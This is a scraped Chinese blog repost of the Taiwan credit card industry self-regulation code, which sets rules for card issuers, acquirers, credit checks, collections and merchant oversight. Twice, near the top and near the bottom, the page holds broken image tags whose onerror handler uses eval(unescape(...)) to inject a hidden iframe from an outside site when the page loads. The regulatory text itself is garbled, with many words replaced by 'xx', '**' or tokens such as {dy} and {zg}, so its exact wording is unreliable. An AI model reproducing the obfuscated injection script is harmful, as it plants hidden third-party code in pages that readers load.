信用卡业务自律公约--摘自台湾NCCC网站- 贵宾理财- interior - 和讯博客
信用卡业务自律公约--摘自台湾NCCC网站 [转贴 2010-01-23 08:41:05]   
信用卡业务自律公约--摘自台湾NCCC网站

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

本文系全文复制,只是将繁体字转为简体字,以便大家阅读,其它未做删改。凡涉及敏感问题的,与摘抄的本意无关。--版主
-----------------------------------------------------------------------------------------------------------------
前言:信用卡业务涉及五大主体(品牌所有者如Visa、MasterCard、JCB、AMEX、 Diners和NCCC等、xx机构、收单机构、特约商店和持卡人)且为一国际性产品,交易涵盖国内及国外。为建立**市场秩序并随时与国际市场接轨,并有效照顾消费者权益及弥补法令与约定条款之不足,特由****银行商业同业公会全国联合会(以下简称本会)信用卡业务委员会综合各界意见订定本规范事项以为共同遵循。
本自律公约经本会信用卡业务委员会议或联席会议通过并报请本会理事会议及财政部核备后实施,修正时亦同。

{dy}章 xx业务

一、推广
1.xx机构xx营销活动赠送之赠品,需明订赠送条件(例如为申请、核准或xx时赠送)和寄送日期等规定,以减少纠纷。已送出之赠品不应追回。
2.xx机构录用信用卡业务代表前应先过滤查核是否有在其它同业之不良记录;处置不良信用卡业务代表后应互相通报以供同业参考。
3.信用卡业务代表推广卡片前,xx机构应施予对相关法令规章适当且有效之训练课程。
4.信用卡业务代表推广卡片时,应注意服装仪容、配带xx及名片,并明确标示xx机构名称。
5.xx机构应约束推广人员不得故意毁损或破坏其它xx机构之申请书(Take-One)架与各项宣传品,或将空白申请书寄回,增加xx机构之困扰。
6.xx机构在营销推广活动诉求中,不得有攻击或抵毁同业之行为。
7.xx机构为信用卡促销广告,应确保广告内容真实并应揭露消费者应负担费用、税捐及其它义务等事项。

二、征信
1.xx机构办理信用卡征信业务,应查询金融联合征信中心信用数据库,如申请人有强制停卡纪录, 必要时应照会报送机构,并应对申请人办理征信,尚不得以该信息作为申请核准或驳回之{wy}依据。
2.xx机构若因申请人持有之信用卡遭其它机构强制停用而拒绝xx时,不得将原登录机构泄漏给申请人,必要时应请申请人直接向金融联合征信中心申请个人信用报告。
3.xx机构在征信作业过程中或接获被害人反映,发现有冒名申请信用卡案件时,无论是否造成损失均必需于三日内主动通报金融联合征信中心建檔管制,避免损害扩大。
4.xx机构应依财政部金融局规定,严格执行金融联合征信中心持卡人基本信用资料及额度之报送。
5.xx机构办理信用卡征信作业,如申请人系当面申请,应详细核阅申请人身份证件原本,如申请人系邮寄或传真申请应依财政部同意且本会八十九年十一月二日全信字一*三号函各信用卡机构之确认申请人身份以替代征信程序办理以防冒名申请;倘因未妥慎办理xx征信作业而发生伪冒申请案件时,xx机构应负伪冒损失之责任。

三、xx
1.xx机构受理未满二十岁之人申请信用卡时应取得法定代理人之同意并以书面告知使用信用卡应注意事项,使申请人及其法定代理人了解并于该书面签名后方得受理。
2.未满二十岁之持卡人的法定代理人或父母有权以书面通知方式调阅持卡人账单或要求终止契约。
3.发行学生卡(在申请书职业栏填注学生之申请人,如该申请人无法提出独立经济来源证明如薪资证明、存款证明),各xx机构应将其xx情事函知其父母,请其注意持卡人使用信用卡之情形。
4.为避免持卡人(含学生卡)消费过度扩张,xx机构对于已持超过三家以上xx机构卡片之申请人核xx片应审慎评估。
5.xx机构订定信用卡定型化契约条款之内容,其对于消费者权益保障之程度,不得低于主管机关发布信用卡定型化契约模板条款之标准。
6.xx机构拟提高持卡人之信用额度时,如有信用卡保证人存在,应事先通知保证人并获其书面同意。
7.xx机构接受持卡人申请调高信用卡额度时,应要求须本人为之,并有一定之个人身份辨识程序。
8.xx机构提供信用卡预借现金功能之服务,应遵守下列事项:
(1) 持卡人得要求xx机构暂不寄发预借现金密码函以及锁定其信用卡预借现金之固定额度。
(2) xx机构拟自动调高持卡人之信用额度时,请征得持卡人同意。
(3) 持卡人因信用卡被窃、被抢或遗失,于办理挂失前被冒领之现金,若非可归责于持卡人故意行为,持卡人之负担以原约定额度为上限。原约定额度系指其固定信用额度或持卡人来电意思表示之调整额度,不包括冒用者来电冒用所调整之信用额度以及xx机构未征得持卡人之同意而调高之额度。
(4) 持卡人预借现金之额度,依各xx机构与持卡人之约定为准,惟{zg}不得超过其信用卡之固定额度,并应遵守自动化服务设备关于每日提领限额之规定。
(5) xx机构提供持卡人电话语音预借现金服务,除须有一定之个人身份辨识及密码输入程序外,并应以汇入持卡人本人之账户为限。
 
四、帐务
1.xx机构在争议款项尚未查明确实原因时,xx机构不得将该持卡人资料挂入金融联合征信中心不良檔。
2.xx机构对争议款项应于受理后14日内告知持卡人处理状况及进度,调查期间应该停止计算利息。当确定为持卡人责任时方得收取争议款项处理期间之利息。
3.xx机构应于契约或账单中明确告知持卡人帐务的归属方式,例如是依据身分证字号或是依据账户或是依据卡片。
4.xx机构对持卡人应缴纳信用卡之消费帐款,不得委由金融机构以外第三人代收。
5.xx机构应按信用卡业务特性及信用卡逾期垫款应尽速转销呆帐原则,订定适用信用卡业务之逾期垫款、催收款及呆帐处理制度。

五、客户服务
1.xx机构应于申请书、使用手册或其它檔详细告知持卡人使用信用卡时可能产生的各项费用与费用之计算方式,对于较复杂之费用如循环息及违约金等并辅以图例说明。
2.xx机构应设立信用卡申诉专线或消费者服务专线,并刊登于刊物或网络。
3.针对学生卡持卡人,除发给一般持卡人手册外,应另行发给学生持卡人专属手册或说明章节,详细告知并提醒持卡人如何善用信用卡并避免信用过度扩张而影响日后个人之信用记录及可能之后果。
4.若原持卡人强制停卡数据报送错误发生,应立即通知相关征信机构更改,以免其它机构以原数据作出不利该持卡人信用之判断。
5.xx机构报送金融联合征信中心之持卡人资料,应尽量详述停用原因,以供其它机构做出合理之判断。
6.xx机构对于部分行业之特殊签帐方式,应善尽告知消费者之义务。
7.xx机构信用卡循环信用利率应以年利率表示,并于营业场所牌告之。
8.信用卡消费账单应充份揭露消费日期、可辨识之消费卡别、消费地区与国家、签帐金额、签帐币别及折算新台币金额等项目,并应说明持卡人负担之各种费用计算方法。


六、风险管理
1.xx机构发现可疑之交易应立即通知其它xx机构共同防止冒用或恶用情事产生,以维护同业间之共同利益。
2.xx机构对于恶意诈欺之持卡人,应配合收单机构之书面要求,提供有关持卡人必要之调查资料。
3.xx机构经客户选择以邮寄方式领取信用卡者,应于信用卡加设管制程序,经客户通知并完成辨识身份手续后,方得解除管制程序及启用卡片功能。
4.xx机构如发现伪冒信用卡案件,应积极主动通知检调单位。

七、催收
1.xx机构于自行或委外办理催收欠款业务时,不得违反公共利益,或以损害他人为主要目的,且应依诚实及信用原则行使权利;尚应配合建立申诉制度,处理催收相关纠纷,以落实消费者权益之保护。
2.xx机构将持卡人之债信不良之记录登录于金融联合征信中心前,需将登录债信不良原因与日后对持卡人可能之影响情形告知持卡人,使其有提出异议之机会。
3.通报强制停用持卡人数据时务必确实谨慎,极力避免报送数据错误之情事发生。
 
第二章 收单业务

一、推广
1.收单机构签定特约商店及其连锁店或加盟店前应亲自到访查核,对于可疑之商店应不定时访查。
2.收单机构严禁特约商店加收手续费,若经查属实,应予惩罚或停止往来。
3.收单机构间应禁止恶性价格竞争,以维护收单市场之健全发展。

二、征信
1.收单机构应依规定严格执行金融联合征信中心签约特约商店数据及解约特约商店数据之报送以充份揭露信息,供其它收单机构判断。
2.收单机构签定特约商店前应透过金融联合征信中心查询风险特约商店之档案,且不可因竞争因素再与已确定风险之特约商店签约。
3.收单机构应加强对特约商店之征信审核与监控。

三、签约
收单机构与特约商店之合约应涵盖下列事项:
1.收单机构有要求特约商店收银人员接受教育训练之权利与义务;同时特约商店不应允许未经教育训练之收银人员从事信用卡收银工作。
2.特约商店于收银员异动时应就新进人员给予必要之教育训练,或通知收单机构配合办理。
3.特约商店不得将信用卡手续费转嫁予持卡人负担。
4.特约商店应依约定核对持卡人之身份及检查持卡人于签账单据之签名,应与持卡人本人及其信用卡背面之签字相同,并应注意是否有异常刷卡之情形。
5.收单机构应严格约束特约商店不得为规避xx机构为确认持卡人(CALL BANK)之交易指示而以化整为零方式分刷账单。
6.收单机构应要求商店分类代码(MCC CODE)为4812和5944之特约商店于接受信用卡出示签帐时,收银员必须于签账单上签名。

四、服务及管理
1.收单机构应定时提供特约商店必要之教育训练与法令倡导,共同防止信用卡犯罪。
2.收单机构应确实查核各签约特约商店有无未依约定不得将信用卡手续费转嫁予持卡人负担之情事。

五、风险管理
1.收单机构应确实依财政部金融局规定提报金融联合征信中心风险特约商店资料。
2.收单机构应对特约商店进行辨别卡片真伪作例释。
3.调查可疑交易时为争取时效并兼顾个人数据保护法之规定,xx机构得就已请款之国内刷卡交易以传真方式向收单机构请求调单,同时要求收单机构提供该交易特约商店之名称、地址、电话和联络人等基本数据,收单机构不得拒绝。对于已授权之交易,收单机构应配合xx机构之书面要求,提供必要之调查资料(如商店监视录像带等)。
4.xx及收单机构皆应派员参加本会信用卡业务委员会风险小组并遵守相关规定以共同防范信用卡之犯罪行为。
5.收单机构向xx机构收取特约商店没收卡片之处理费统一订定收取新台币1000元。
6.为鼓励特约商店协助xx机构查缉伪卡冒用等情事,针对商店配合xx机构或收单机构之指示而能自行或报警逮捕诈骗者,则根据嫌犯现场取得之伪卡(白卡除外),由该xx机构核发每卡新台币1000元没收卡片处理费外,另查获卡号之每一xx机构加发新台币2007元以资奖励。若现场破获卡片数量众多,每一xx机构之核发奖金以新台币一万元为上限。

六、取销
1.从事不法情事之特约商店应立即取消特约商店资格,并采取法律行动予以制裁。
 
第三章 其它
一、金融联合征信中心应随时更新个人之信用记录。
二、xx机构委请第三者(Third Party)处理业务时,应慎选合作对象,以避免持卡人个人数据或重要数据外流而予伪冒集团有可乘之机。
三、xx机构委托第三者处理催收款项时,应寻找合法之业者处理,并严禁任何暴力胁迫之情事发生。
四、信用卡业务机构于委托其它机构办理信用卡认证业务时,该受委托机构应须通过信用卡组织安全电子商务之查核,并取得其认证授权者。
五、信用卡业者应主动采取一切必要措施与检调单位密切配合,共同打击犯罪。
六、本会对信用卡会员机构不当处理信用卡消费争议案件得适度介入。
七、信用卡业者应恪遵主管机关有关信用卡之各项规定。
八、本自律公约如有未尽事项依相关法规及惯例办理。
--------------------------------------------------------------------
从这个自律公约中,我们可以看到,台湾信用卡委外市场的成熟与健康有序的发展,这是非常值得我们借鉴和学习的。我本人有幸亲自接受过来自台湾骏丰公司的培养与熏陶,非常赞同他们从事委外代理业务中所秉承的一些理念,这也对我后来的思想起了很大的影响。希望有兴趣的朋友能够从中得到启发。
--------------------------------------------------------------------
好文章!写得比较全面
去看看
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【信用卡业务自律公约--摘自台湾NCCC网站- 贵宾理财- interior - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——